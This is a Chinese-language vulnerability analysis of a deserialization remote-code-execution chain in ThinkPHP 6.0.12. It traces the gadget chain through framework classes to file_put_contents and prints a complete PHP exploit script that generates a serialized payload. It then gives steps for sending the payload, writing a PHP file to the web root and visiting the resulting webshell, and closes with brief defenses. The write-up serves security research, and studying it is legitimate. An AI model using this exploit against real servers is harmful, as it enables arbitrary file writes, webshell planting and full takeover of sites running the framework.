ThinkPHP6.0.12反序列化RCE挖掘
字数 1278 2025-08-27 12:33:31
ThinkPHP 6.0.12 反序列化 RCE 漏洞分析与利用
漏洞概述
本文详细分析 ThinkPHP 6.0.12 版本中存在的反序列化远程代码执行(RCE)漏洞。该漏洞通过精心构造的反序列化链,最终实现任意文件写入,从而达到远程代码执行的目的。
环境准备
-
使用 Composer 安装 ThinkPHP 6.0.12:
composer create-project topthink/think=6.0.12 tp612 -
添加反序列化入口点(在实际应用中,需要找到或创建一个反序列化入口)
漏洞分析
漏洞链组成
该漏洞链由多个关键点组成,最终实现任意文件写入:
- 起点:利用
__destruct或__wakeup魔术方法作为反序列化入口 - 中间链:通过多个类的魔术方法和属性控制实现链式调用
- 终点:最终调用
file_put_contents实现任意文件写入
关键调用链
think\Model\Pivot -> think\Model::__construct() -> think\route\Url::__construct()
-> think\console\Output::__call() -> think\console\Output::block()
-> think\console\Output::write() -> League\Flysystem\File::write()
-> think\session\driver\File::write() -> think\session\driver\File::writeFile()
-> file_put_contents()
关键类分析
1. think\console\Output 类
关键方法 __call:
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return $this->block(...$args);
}
// ...
}
通过控制 $this->styles 可以调用 block 方法,进而调用 write 方法。
2. League\Flysystem\File 类
关键方法 write:
public function write($content)
{
$this->filesystem->write($this->path, $content);
// ...
}
通过控制 $this->filesystem 和 $this->path 可以调用任意类的 write 方法。
3. think\session\driver\File 类
关键方法 write:
public function write($sessID, $sessData)
{
if (!$this->config['data_compress']) {
return $this->writeFile($this->getFileName($sessID), $sessData);
}
// ...
}
通过控制 $this->config['data_compress'] 为 false,可以绕过压缩直接调用 writeFile。
关键方法 writeFile:
protected function writeFile($path, $data)
{
return file_put_contents($path, $data);
}
这是最终实现任意文件写入的关键点。
漏洞利用条件
- 存在反序列化入口
- 目标系统使用 ThinkPHP 6.0.12 版本
- 目标系统加载了相关类文件
漏洞利用
EXP 构造
完整 EXP 构造如下:
<?php
namespace think\model\concern {
trait Attribute {
private $data = ['huahua'];
}
}
namespace think\view\driver {
class Php {}
}
namespace think\session\driver {
class File { }
}
namespace League\Flysystem {
class File {
protected $path;
protected $filesystem;
public function __construct($File){
$this->path = 'huahua.php';
$this->filesystem = $File;
}
}
}
namespace think\console {
use League\Flysystem\File;
class Output {
protected $styles = [];
private $handle;
public function __construct($File){
$this->styles[] = 'getDomainBind';
$this->handle = new File($File);
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd, $File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware, new console\Output($File), $cmd);
}
}
class Middleware {
public $request = 2333;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
class Url {
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app, $route, $cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace {
echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>', new think\session\driver\File)));
}
利用步骤
- 构造恶意序列化数据
- 找到或创建反序列化入口点
- 发送恶意序列化数据
- 服务器反序列化数据后会在根目录写入
sess_huahua.php文件 - 访问写入的 webshell 文件执行任意代码
文件写入控制
通过控制以下参数可以自定义写入的文件和内容:
League\Flysystem\File::$path- 控制写入的文件名think\Model\Pivot构造函数的第一个参数 - 控制写入的文件内容think\session\driver\File的配置可以控制写入路径
防御措施
- 升级 ThinkPHP 到最新版本
- 避免不可信数据的反序列化
- 使用 PHP 的
unserialize_callback_func或allowed_classes限制反序列化的类 - 对用户输入进行严格过滤
总结
该漏洞通过精心构造的反序列化链,利用 ThinkPHP 6.0.12 中的多个类和方法,最终实现任意文件写入。漏洞利用需要满足特定条件,但一旦存在反序列化入口,攻击者可以完全控制服务器。开发者应当重视反序列化操作的安全性,采取适当的防御措施。